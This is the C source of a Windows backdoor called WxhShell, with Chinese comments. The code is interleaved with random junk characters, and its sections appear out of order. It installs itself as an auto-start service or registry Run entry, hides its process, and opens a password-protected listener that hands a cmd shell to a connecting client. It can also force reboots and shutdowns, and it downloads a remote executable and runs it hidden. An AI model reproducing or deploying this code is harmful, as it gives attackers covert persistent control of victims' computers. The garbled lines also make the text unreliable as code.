    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vAtR\ Vh  
    if(Boot(SHUTDOWN)) ]:Pkh./  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eY_BECJ+OO  
    else { ;pG5zRe  
    closesocket(wsh); /U="~{*-R  
    ExitThread(0); `m\ ?gsw7  
    } c#a>> V  
    break; Q7_#k66gb7  
    } pz]KUQ  
  // 获取shell LG=_>:~t>  
  case 's': { Ju_(,M-Vgr  
    CmdShell(wsh); jsq|K=x,  
    closesocket(wsh); @e+qe9A|  
    ExitThread(0); >~uKkQ_p  
    break; W\O.[7JP  
  } "Jg* /F  
  // 退出 uP1]EA  
  case 'x': { hne}G._b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -uB*E1|Q  
    CloseIt(wsh); T/q*k)IoR  
    break; jtPHk*>^wu  
    } Pk:b:(4  
  // 离开 BWzo|isv  
  case 'q': { {mA#'75a#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XW*d\vDun  
    closesocket(wsh); avd`7eH2  
    WSACleanup(); ) Hqn  
    exit(1); _J0(GuG=~  
    break; !uhh_3RH  
        } S>R40T=e  
  } `'ak/%Krh  
  } >"D0vj  
Y~U WUF%aK  
  // 提示信息 20)8e!jP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4iJ4g%]  
} }5y ]kn  
  } t=n@<1d  
bJL,pe+u  
  return; -V:7j8  
} "=UhTE  
];Y tw6A  
// shell模块句柄 j`-9.  
int CmdShell(SOCKET sock) VpB+|%@p  
{ m!:sDQn{3  
STARTUPINFO si; \5F {MBx !  
ZeroMemory(&si,sizeof(si)); nk+9 J#Gs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &FDWlrG g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $WbfRyXi7'  
PROCESS_INFORMATION ProcessInfo; 'l._00yu  
char cmdline[]="cmd"; NJ(H$tB@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Edl .R}&1  
  return 0; i",oPz7  
} C 4\Q8uK  
cnM`ywKW  
// 自身启动模式 O_&Km[  
int StartFromService(void) ! p3vnOX6  
{ D=~3N  
typedef struct 't3nh  
{ b IZi3GmRF  
  DWORD ExitStatus; "= *   
  DWORD PebBaseAddress; g;!,2,De}  
  DWORD AffinityMask; &=l aZxe  
  DWORD BasePriority; Cx ;n#dn*  
  ULONG UniqueProcessId; RGLi#:0_.x  
  ULONG InheritedFromUniqueProcessId; .Yxf0y?uv  
}   PROCESS_BASIC_INFORMATION; |3 v+&eVi  
DZV U!J  
PROCNTQSIP NtQueryInformationProcess; +JY]J89  
e`Tssa+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f_ UwIP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \>  
PYW>  
  HANDLE             hProcess; p}h9>R  
  PROCESS_BASIC_INFORMATION pbi; ,%,.c^-  
;r3|EA35  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KgEfhO$W  
  if(NULL == hInst ) return 0; xu* dPG)v  
IJofbuzw:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2R`}}4<Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rfhvdwwD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0vcM+}rw  
W> rx:O+  
  if (!NtQueryInformationProcess) return 0; 6#1:2ZHKG  
XB\n4 |4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :faB7wduW;  
  if(!hProcess) return 0; !!UQ,yU  
<^wqN!/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \k*h& :$  
Bhw|!Y&%  
  CloseHandle(hProcess);  7VAet  
g(F? qP_K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6O'6,%#  
if(hProcess==NULL) return 0; %Dm:|><V$b  
:*s+X$x,<  
HMODULE hMod; LkIbvJCV  
char procName[255]; *p7_rY  
unsigned long cbNeeded; J1{ucFa  
g'1ASMuR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -K%~2M<  
@2)ImgK[  
  CloseHandle(hProcess); :]^FTnO  
?u_O(eg  
if(strstr(procName,"services")) return 1; // 以服务启动 9>HCt*|_8  
odC}RdN  
  return 0; // 注册表启动 <Z8^.t)|  
} oY0`igH  
uQtwh08i  
// 主模块 'K|tgsvgme  
int StartWxhshell(LPSTR lpCmdLine) keL!;q|r-)  
{ 7c.LyvM  
  SOCKET wsl; eFdN"8EW  
BOOL val=TRUE; D'3. T{*rH  
  int port=0; p) ea1j>N  
  struct sockaddr_in door; _f@, >l  
'or8CGr^p  
  if(wscfg.ws_autoins) Install(); 52d8EGC  
caC( KK#<  
port=atoi(lpCmdLine); 5 ]v]^Y'?  
`<^1Ik[g  
if(port<=0) port=wscfg.ws_port; g?d*cwtU  
bjYaJtn  
  WSADATA data; >*cg K}!@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B!zqvShF  
za oC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N"q C-h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d65t"U  
  door.sin_family = AF_INET; WYNO6Xb#:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,3E9H&@j  
  door.sin_port = htons(port); ?\$\YX%/p  
{f<\`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +1 j+%&).  
closesocket(wsl); OGqsQ  
return 1; fK{[=xMr@  
} iu(+ N~  
]J* y`jn  
  if(listen(wsl,2) == INVALID_SOCKET) { wz(D }N5  
closesocket(wsl); yL>wCD,L  
return 1; Zc9j_.?*  
} I_h{n{,sr  
  Wxhshell(wsl); ;&%G)f  
  WSACleanup(); :u$+lq  
Nu%:7  
return 0; bR;Zc  
3@7<e~f  
} ko%B`  
/K@{(=n  
// 以NT服务方式启动 1KtPq,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bhb*,iWA  
{ q4rDAQyPO  
DWORD   status = 0; U.B=%S  
  DWORD   specificError = 0xfffffff; IAJYD/Y&?  
q T pvz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _%$(D"^j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X&qa3C})  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >`@yh-'r  
  serviceStatus.dwWin32ExitCode     = 0; mzX <!  
  serviceStatus.dwServiceSpecificExitCode = 0; b88Zk*  
  serviceStatus.dwCheckPoint       = 0; 9IRvbE~2  
  serviceStatus.dwWaitHint       = 0; 9C{\=?e;  
-MqWcB9&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ", :Ta|  
  if (hServiceStatusHandle==0) return; *I(g~p  
f @cs<x  
status = GetLastError(); 426)H_wx  
  if (status!=NO_ERROR) $.z~bmH"D  
{ &z\]A,=T c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <9s=K\-  
    serviceStatus.dwCheckPoint       = 0; ffQ%GV_  
    serviceStatus.dwWaitHint       = 0; /Lc= K<  
    serviceStatus.dwWin32ExitCode     = status; jbHk  
    serviceStatus.dwServiceSpecificExitCode = specificError; h CLXL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bn"r;pqWiT  
    return; 47iwb  
  } Qjj:r~l  
3PonF4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &E{5k{Y  
  serviceStatus.dwCheckPoint       = 0; UEq;}4Bo  
  serviceStatus.dwWaitHint       = 0; 8O]U&A@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J9LS6~ 7  
} ,qRSB>5c  
sQA{[l!aj  
// 处理NT服务事件,比如:启动、停止 _e.b #{=9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T2wn!N?r  
{ 6[9E^{(z  
switch(fdwControl) ! 40t:+I  
{ 0;)6ZU  
case SERVICE_CONTROL_STOP: H&L=WF+x  
  serviceStatus.dwWin32ExitCode = 0; sQ^>.yG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `~(C\+gUp  
  serviceStatus.dwCheckPoint   = 0; ~zz|U!TG  
  serviceStatus.dwWaitHint     = 0; LoG@(g&)  
  { cLl fncI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xl6)&   
  } YF{K9M!  
  return; AEwb'  
case SERVICE_CONTROL_PAUSE: UBRMV s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Vk_*]wU  
  break;  FZ>*<&  
case SERVICE_CONTROL_CONTINUE: |?Q(4(D`*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .Qh8I+Q%  
  break; xgR*j  
case SERVICE_CONTROL_INTERROGATE: v%< _Mh  
  break; 0iX qAa  
}; ~~1~_0?e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~rCnST  
} 9L#B"lh  
8"LaP3U  
// 标准应用程序主函数 =zA=D.D2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FA^x|C=$  
{ YLd 5  
w#mnGD  
// 获取操作系统版本 +lha^){  
OsIsNt=GetOsVer(); wH Z!t,g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >KY\Bx  
Vd<= y  
  // 从命令行安装 SA>;]6)`(  
  if(strpbrk(lpCmdLine,"iI")) Install(); <vt^=QA'  
0acY@_  
  // 下载执行文件 ^RWt  
if(wscfg.ws_downexe) { 0v7;Z xD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8)POEY4  
  WinExec(wscfg.ws_filenam,SW_HIDE); jPU# {Wo#  
} h/TPd]  
'fA D Dh}  
if(!OsIsNt) { >qF KXzI  
// 如果时win9x,隐藏进程并且设置为注册表启动 .`'SL''c  
HideProc(); wCt+{Y3T  
StartWxhshell(lpCmdLine);  ,O~2 R  
} )vU{JY;  
else j [U0,]  
  if(StartFromService()) aY:(0en]&  
  // 以服务方式启动 jATU b-  
  StartServiceCtrlDispatcher(DispatchTable); J#x91Jh  
else l.)N  
  // 普通方式启动 FY|x<-f  
  StartWxhshell(lpCmdLine); g?$9~/h :;  
CQ( @7  
return 0;  ^,KR0  
} %xZ.+Ff%  
^w12k2a  
-.*\J|S@g  
^n2w6U0  
=========================================== Gj ^bz'2  
{f&ga  
7.Mh$?;i9  
Y>#c2@^i<  
#] GM#.  
y*(YZzF  
" UA8!?r-cR  
_N:h&uw  
#include <stdio.h> *"CvB{XF&Z  
#include <string.h> ;?o C=c  
#include <windows.h> >gSerDH8\  
#include <winsock2.h> /< :; ^B  
#include <winsvc.h> H\k5B_3OU  
#include <urlmon.h> VxFy[rP  
$ B9=v  
#pragma comment (lib, "Ws2_32.lib") Qm.kXlsDI  
#pragma comment (lib, "urlmon.lib") * Z:PB%d5  
'AAY!{>  
#define MAX_USER   100 // 最大客户端连接数 qC4-J)8 Wk  
#define BUF_SOCK   200 // sock buffer ;gMh]$|"  
#define KEY_BUFF   255 // 输入 buffer [dJ\|=  
W$JA4O>b  
#define REBOOT     0   // 重启 $;CC lzw  
#define SHUTDOWN   1   // 关机 O$H150,Q  
 * [5  
#define DEF_PORT   5000 // 监听端口 ^8m+*t  
W =zG  
#define REG_LEN     16   // 注册表键长度 >&&xJ5  
#define SVC_LEN     80   // NT服务名长度 +mA=%? l  
! -c*lb  
// 从dll定义API [KH?5 C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~{+{pcO}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `0^i #  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2f!oA~|2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HUC2RM?FN  
!T*B{+|  
// wxhshell配置信息 x 5SQ+7  
struct WSCFG { m=MT`-:  
  int ws_port;         // 监听端口 X6.O ;  
  char ws_passstr[REG_LEN]; // 口令 17cW8\  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]uvbQ.l_t  
  char ws_regname[REG_LEN]; // 注册表键名 h,>L(=c$O  
  char ws_svcname[REG_LEN]; // 服务名 $t$f1?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2]9<%-=S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @(c<av?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l,u{:JC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no : xZC7"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^qx\e$R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5{q/z^]  
 _)E8XyzF  
}; ~Ls I<z  
t4@g;U?o  
// default Wxhshell configuration f*vk1dS:*3  
struct WSCFG wscfg={DEF_PORT, 2w|u)ow )  
    "xuhuanlingzhe", )[sO5X7'^  
    1, `^-Be  
    "Wxhshell", 1K9?a;.  
    "Wxhshell", `_U0>Bfg;  
            "WxhShell Service", -0SuREn  
    "Wrsky Windows CmdShell Service", )ek 5  
    "Please Input Your Password: ", 6Y )^)dOi  
  1, Z 034wn\N  
  "http://www.wrsky.com/wxhshell.exe", K}`p_)(  
  "Wxhshell.exe" 1IQOl  
    }; Jf<yTAm  
yr9A0F0  
// 消息定义模块 ^P g YP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V 1nZ M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DgT.Lku?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tW.>D;8  
char *msg_ws_ext="\n\rExit."; P9i9<pR  
char *msg_ws_end="\n\rQuit."; OO\biYh o  
char *msg_ws_boot="\n\rReboot..."; q\t>D _lU  
char *msg_ws_poff="\n\rShutdown..."; "8iiRzt#  
char *msg_ws_down="\n\rSave to "; x]><}! \<&  
D2%G.z  
char *msg_ws_err="\n\rErr!"; #X@<U <R  
char *msg_ws_ok="\n\rOK!"; QGv:h[b_  
,cy/fW  
char ExeFile[MAX_PATH]; 7cmr *y  
int nUser = 0; pL}j ZTo  
HANDLE handles[MAX_USER]; aQ&8fteFR  
int OsIsNt; M |Q  
#D LT-G0  
SERVICE_STATUS       serviceStatus; @z$pPo0fW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JNM@Q  
/zG-\eU  
// 函数声明 MZMS ?}.2  
int Install(void); OZB}aow  
int Uninstall(void); b8{h[YJL2  
int DownloadFile(char *sURL, SOCKET wsh); TaQ "G  
int Boot(int flag); ),p]n  
void HideProc(void); FQ|LA[~  
int GetOsVer(void); 3w^J"O/T  
int Wxhshell(SOCKET wsl); Z!RRe]"y  
void TalkWithClient(void *cs); ghobu}wuF  
int CmdShell(SOCKET sock); )' x/q  
int StartFromService(void); n L+YL  
int StartWxhshell(LPSTR lpCmdLine); \p@nH%@v  
1f@U :<:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'tV"^KQHI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z@%/r~?|  
|Y8Mk2,s  
// 数据结构和表定义 g3|Y$/J7P  
SERVICE_TABLE_ENTRY DispatchTable[] = s9_`Wrg?  
{ Yn$>QS 4  
{wscfg.ws_svcname, NTServiceMain}, Mdltzy=)L  
{NULL, NULL} >d27[%  
}; N}}PlGp$  
xu"94y+  
// 自我安装 1fO2)$Y  
int Install(void) qrM{b=  
{ 4iYKW2a  
  char svExeFile[MAX_PATH]; K.V!@bPlw9  
  HKEY key; :_fjml/  
  strcpy(svExeFile,ExeFile); hk"9D<&i>b  
l?@MUsg+  
// 如果是win9x系统,修改注册表设为自启动 `b^#quz  
if(!OsIsNt) { oieQ2>lYh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k}I5x1>&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o&hKg#nO83  
  RegCloseKey(key); H)j [eZP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jv 6nlK`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &e HM#as  
  RegCloseKey(key); _#J_$CE#  
  return 0; cwM#X;FGq  
    } + 4V1>e+  
  } ) 8x:x7?  
} `Ct'/h{  
else { { .aK{ V  
[D<RV3x9  
// 如果是NT以上系统,安装为系统服务 0okO+QU,a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k\+y4F8$x  
if (schSCManager!=0)  Vp(D|}P  
{ ;1*m} uNz  
  SC_HANDLE schService = CreateService TdNuD V  
  ( ` x%U  
  schSCManager, q9>Ls-k  
  wscfg.ws_svcname, {2}tPT[a(  
  wscfg.ws_svcdisp, TZ&4  
  SERVICE_ALL_ACCESS, Wz6]*P`qv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "t (1tWO1o  
  SERVICE_AUTO_START, 5YTb7M  
  SERVICE_ERROR_NORMAL, A6?qIy  
  svExeFile, L~*|,h  
  NULL, x38SSzG:L  
  NULL, Xk{!' 0  
  NULL, $'A4RVVT  
  NULL, ]~j_N^oZ1X  
  NULL m%e^&N#%6r  
  ); }j+~'O4m  
  if (schService!=0) kP!%|&w;  
  { olD@W UB  
  CloseServiceHandle(schService); XPHQAo[(s  
  CloseServiceHandle(schSCManager); JYZ2k=zh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k%EWkM)?  
  strcat(svExeFile,wscfg.ws_svcname); cPA~eZbX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8 *4@-3Sx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JDC=J(B  
  RegCloseKey(key); }Kv h`@CiJ  
  return 0; @wd!&%yzO  
    } B,~f "  
  } h|J;6Sm@  
  CloseServiceHandle(schSCManager); tj#=%m?8V;  
} @Ufa -h5"(  
} .@y{)/  
:.C+?$iuX  
return 1; @IEI%vH  
} R(M}0JRm  
??|d=4g\  
// 自我卸载 ry$tK"v/  
int Uninstall(void) Hfh@<'NL]  
{ [GtcaX{Zz  
  HKEY key; Oq #o1>  
*e(:["v  
if(!OsIsNt) { ^c/mj9M#C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \w{@u)h  
  RegDeleteValue(key,wscfg.ws_regname); %)zk..K{l  
  RegCloseKey(key); pp/#Am  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U8 Z~Y}29  
  RegDeleteValue(key,wscfg.ws_regname); .i MnWW  
  RegCloseKey(key); \BN|?r$a  
  return 0; 2~vo+ng  
  } "nVK< Vd  
} R ^HohB  
} !nec 7  
else { CkRyzF  
W;^Rx.W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X7e>Z)l  
if (schSCManager!=0) MB1sQReOO  
{ U'rr?,RML  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A ?#]s  
  if (schService!=0) V]r hr  
  { +c-6#7hh  
  if(DeleteService(schService)!=0) { 0('OyH)  
  CloseServiceHandle(schService); .6\T`6H=a  
  CloseServiceHandle(schSCManager); 7@FDBjq  
  return 0; ZH\0=l)  
  } V{43HA10b  
  CloseServiceHandle(schService); Ynvj;  
  } 7 n\mj\  
  CloseServiceHandle(schSCManager); DNmb[  
} Vre=%bGw  
} VK9Q?nu  
P=c?QYF  
return 1; k}X[u8A  
} X2i*iW<  
+eU`H[iu  
// 从指定url下载文件 FX7M4t#<  
int DownloadFile(char *sURL, SOCKET wsh) <}&7 a s  
{ -<|Y1PQ  
  HRESULT hr; -<xyC8 $^$  
char seps[]= "/"; Y=9qJ`q  
char *token; oE$hqd s  
char *file; oL#xDG  
char myURL[MAX_PATH]; C9o$9 l+B  
char myFILE[MAX_PATH]; Jff 79)f  
h(_P9E[g  
strcpy(myURL,sURL); *vb^N0P  
  token=strtok(myURL,seps); +)zDA:2Wa"  
  while(token!=NULL) f?Z|>3.2  
  { `{DG;J03[  
    file=token; c& 3#-DNI  
  token=strtok(NULL,seps); >'N!dM.+9  
  } o_sQQF  
C>4UbU  
GetCurrentDirectory(MAX_PATH,myFILE); cI3y  
strcat(myFILE, "\\"); s1{[{L3  
strcat(myFILE, file); -]/7hN*v  
  send(wsh,myFILE,strlen(myFILE),0); 8-ZUS|7B  
send(wsh,"...",3,0); 7RD$=?oO'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wra byRjK  
  if(hr==S_OK) `os8;`G  
return 0; 6%E~p0)i%  
else Vg{Zv4+t  
return 1; Lbsr_*4t  
a&C.=  
} zFywC-my@  
|:N>8%@6c  
// 系统电源模块 ~H u"yAR  
int Boot(int flag) +qhnP$vIe  
{ Y87XLvig}  
  HANDLE hToken; Ssf+b!e]  
  TOKEN_PRIVILEGES tkp; ;T>+,  
9KyZEH;pY  
  if(OsIsNt) { 'PpZ/ry$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FN!1| 'VK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ei|cD[ NY  
    tkp.PrivilegeCount = 1; ;SKcbws  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lVoik *,B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7TpRCq#  
if(flag==REBOOT) { [zQ WyDu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [x5mPjgw  
  return 0; {]`p&@  
} x,\!DLq:p  
else { !R6ApB4ZI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t.)AggXj#  
  return 0; 4-V)_U#8  
} UOt8Q0)}  
  } (sCAR=5v\  
  else { TF\sP8>V  
if(flag==REBOOT) { ZdH1nX(Yh3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nP1GW6Pu  
  return 0; LG&5VxT=,<  
} iP#=:HZu;  
else { NAJVr}4f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4,~tl~FD  
  return 0; ertBuU  
} [7.agI@=  
} _mk5^u/u  
`Mk4sKU\a  
return 1; H^ BYd%-  
} `Wn Q   
>f$NzJ}  
// win9x进程隐藏模块 !Lkm? (_  
void HideProc(void) uPLErO9Es[  
{ Qqq <e  
Q["t eo]DQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]?&FOzN5$P  
  if ( hKernel != NULL ) 55m<XC  
  { wf9z"B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =~jA oOC@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9M'DC^x*T  
    FreeLibrary(hKernel); e&1 \'Zq?>  
  } J@]k%h  
P^i.La,  
return; ,S!w'0k|n  
} &z@~B&O  
F8=nhn  
// 获取操作系统版本 /S~m)$vu  
int GetOsVer(void) Fm3t'^SqF  
{ .=<$S#x^Hb  
  OSVERSIONINFO winfo; 8\Hr5FqB(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XUS vhr$|  
  GetVersionEx(&winfo); SlaDt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Phs-(3  
  return 1; |/T43ADW  
  else sbS~N*{E  
  return 0; 'jjb[{g^}}  
} v>m n/a  
33a uho  
// 客户端句柄模块 lddp^ #f  
int Wxhshell(SOCKET wsl) b$- e\XB!  
{ Vmi{X b]<  
  SOCKET wsh; yPgmg@G@/  
  struct sockaddr_in client; 6rX_-Mm6w  
  DWORD myID; hfrnxeM#~  
1RqgMMJL  
  while(nUser<MAX_USER) =yXs?y"  
{ \40 YGFO  
  int nSize=sizeof(client); '{[),*nCn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L?RF;jf  
  if(wsh==INVALID_SOCKET) return 1; JTW)*q9a  
yL1CZ_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ll<NIdf\r  
if(handles[nUser]==0) aGoE,5  
  closesocket(wsh); Qe$k3!  
else i8PuC^]  
  nUser++; lMifpK  
  } 9|W V~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ycr"Y|  
23ze/;6%A  
  return 0; g,kzQ}_  
} c&'JmKV>&  
ZafboqsDL  
// 关闭 socket F n|gVR  
void CloseIt(SOCKET wsh) Lm%GR[tyQ  
{ Y+-xvx :  
closesocket(wsh); {nMAm/kyj  
nUser--; -1r2K  
ExitThread(0); =A!S/;z>  
} e@]Wh)  
vO@s$qi  
// 客户端请求句柄 9#/(N#>  
void TalkWithClient(void *cs) r)T[(D'Tm-  
{ L;6.r3bL  
`a]44es9q  
  SOCKET wsh=(SOCKET)cs; Oejq@iM"(  
  char pwd[SVC_LEN]; bGXR7u&K  
  char cmd[KEY_BUFF]; b.yh8|&  
char chr[1]; JXU2CyMY  
int i,j; "ZMkL)'7-  
f [o%hCS  
  while (nUser < MAX_USER) { 8im@4A+n`  
8cxai8  
if(wscfg.ws_passstr) { ANMg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k|E]YvnfG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !?FK We  
  //ZeroMemory(pwd,KEY_BUFF); ^]c6RE_  
      i=0; "$^0%-  
  while(i<SVC_LEN) { >^_ bD  
!K0JV|-?t  
  // 设置超时 F[`ZqW  
  fd_set FdRead; XhW %,/<  
  struct timeval TimeOut; F # YPOH  
  FD_ZERO(&FdRead); 3Rv7Qx  
  FD_SET(wsh,&FdRead); T1Ta?b  
  TimeOut.tv_sec=8; yJ2B3i@T 4  
  TimeOut.tv_usec=0; 4FMF|U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WE!vSZ3R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^4$ 'KIq  
;h/pnmhP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;3ft1  
  pwd=chr[0]; =tdSq"jh  
  if(chr[0]==0xd || chr[0]==0xa) { `$R A< 3  
  pwd=0; \FzM4-  
  break; XSRdqU>Aun  
  } O>0VTW  
  i++; /.Jb0h[W1  
    } NX6nQ  
U8QX46Br  
  // 如果是非法用户,关闭 socket /Wj,1WX~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <,%:   
} $p* p  
D&:yMp(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H=MCjh&$q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x^=M6;:  
9}tG\0tL*  
while(1) { qN| fEO>  
df*w>xS  
  ZeroMemory(cmd,KEY_BUFF); u=l1s1>  
y9HK |  
      // 自动支持客户端 telnet标准   Cpl;vQ  
  j=0; TYgQJW?  
  while(j<KEY_BUFF) { S01wwZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x%> e)L<  
  cmd[j]=chr[0]; :Ao!ls' =  
  if(chr[0]==0xa || chr[0]==0xd) { '?*g%Yuz  
  cmd[j]=0; f|7u_f  
  break; 9h,u6e  
  } _GtBP'iN  
  j++; }ynT2a#LU'  
    } '_0]vupvY  
D^F{u Dlb  
  // 下载文件 c9Es%@]  
  if(strstr(cmd,"http://")) { X=X\F@V:u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;&;W T  
  if(DownloadFile(cmd,wsh)) q 2? X"!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GR4?BuY,  
  else HRa@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6)gd^{  
  } ^(x^6d  
  else { 2s ,8R  
h rN%  
    switch(cmd[0]) { ww d'0P`/  
  Kf,-4)  
